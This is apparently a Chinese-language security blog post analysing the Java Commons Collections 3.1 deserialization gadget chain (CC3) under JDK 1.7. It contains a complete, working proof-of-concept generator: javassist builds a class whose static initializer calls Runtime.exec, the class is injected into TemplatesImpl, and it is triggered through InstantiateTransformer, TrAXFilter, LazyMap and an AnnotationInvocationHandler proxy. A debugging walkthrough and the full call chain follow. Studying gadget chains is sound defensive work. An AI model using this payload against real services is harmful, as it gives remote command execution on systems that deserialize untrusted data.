Java反序列化之Commons Collections3链

环境

common-collection 3.1版本 jdk1.7版本下的POC复现

在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用

前置知识

InstantiateTransformer

存在于包org.apache.commons.collections.functors

构造函数:

1
2
3
4
5
6
7
8
private InstantiateTransformer() {
this.iParamTypes = null;
this.iArgs = null;
}
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

同时需要关注transform函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

通过反射实例化一个对象

TrAXFilter

存在于包com.sun.org.apache.xalan.internal.xsltc.trax

其构造函数如下:

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

其中_transformer = (TransformerImpl) templates.newTransformer();调用了TemplatesImpl中newTransformer函数,在CC2链中可以了解到此函数会对我们构造的类进行实例化。现在使用TrAXFilter,就不需要像CC2链中使用InvokerTransformer调用newTransformer函数

当然,不使用InvokerTransformer也无法调用TrAXFilter的构造方法,如果在面对InvokerTransformer被过滤的情况下,可以使用另一个transformer,即上面提到的InstantiateTransformer,它能够通过反射实例化一个对象

POC

根据前置知识就可以知道,通过InstantiateTransformer调用TrAXFilter的构造函数,构造函数会调用TemplatesImpl的newTransformer函数从而对构造的类进行实例化

CC3链其实是CC1链和CC2链的结合,下面给出具体POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package ysoserial;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class commons_collections3 {
public static void main(String[] args) throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CC3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});

Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);


//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(object);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}
}

首先观察POC的前半部分,我们继续构造一个payload类并转换成字节码注入到TemplatesImpl对象的_bytecodes字段中

接下来这段代码:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

主要目的还是通过构造transformerChain以及lazyMap后,利用get方法调用transform函数形成调用链,关键在于transformers数组中的构造,数组中利用的是TrAXFilter和InstantiateTransformer

首先经过ConstantTransformer的transform函数后得到的是TrAXFilter类,然后调用InstantiateTransformer的transform函数,通过反射将TrAXFilter实例化,而在TrAXFilter的构造函数中,会调用TemplatesImpl的newTransformer方法,注意,InstantiateTransformer构造函数的第二个参数即是TrAXFilter的第一个参数,也就是我们构造的TemplatesImpl对象

为了能够调用LazyMap的get方法,这里依旧使用了AnnotationInvocationHandler类

1
2
3
4
5
6
7
8
9
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);

AnnotationInvocationHandler类的invoke方法调用了get方法,那么如何调用AnnotationInvocationHandler的invoke方法,这里使用了动态代理的方式

会发现AnnotationInvocationHandler类实际上就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任何方法,就会进入到AnnotationInvocationHandler#invoke方法中,从而触发LazyMap#get

即对应POC以下部分:

1
2
3
4
5
6
7
8
9
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);

POC调试

在AnnotationInvocationHandler中的readObject下断点,调试运行

根据POC中知,我们将memberValues设置成了LazyMap对象,它在调用任何函数前都会先调用AnnotationInvocationHandler#invoke方法,于是在invoke方法中下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

Object var6 = this.memberValues.get(var4);中会调用LazyMap的get方法,进入该方法并下断点

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

此时变量的值为

在if判断中,不存在key为”entrySet”的值,故需要进入if中执行语句,注意this.factory的值正是我们构造的ChainedTransformer,这是通过LazyMap中的decorate实现的,所以会执行ChainedTransformer的transform方法,单步进入

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

未执行for循环前变量的值:

执行完一轮后,object变成了class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

在执行第二轮for循环的时候,选择步入就到了InstantiateTransformer的transform函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

此时各参数的值为

接下来的步骤就是实例化TrAXFilter对象,在其构造函数中会调用TemplatesImpl的newTransformer函数,之后的步骤与CC2链中一致

剩下部分由于中途环境问题不调试,道理一致

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
AnnotationInvocationHandler.readobject
->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke
->lazyMap.get
->ChainedTransformer.transform
->ConstantTransformer.transform
->InstantiateTransformer.transform
->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer
->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()
->Runtime.exec()

参考

Java安全之Commons Collections3分析 - nice_0e3 - 博客园 (cnblogs.com)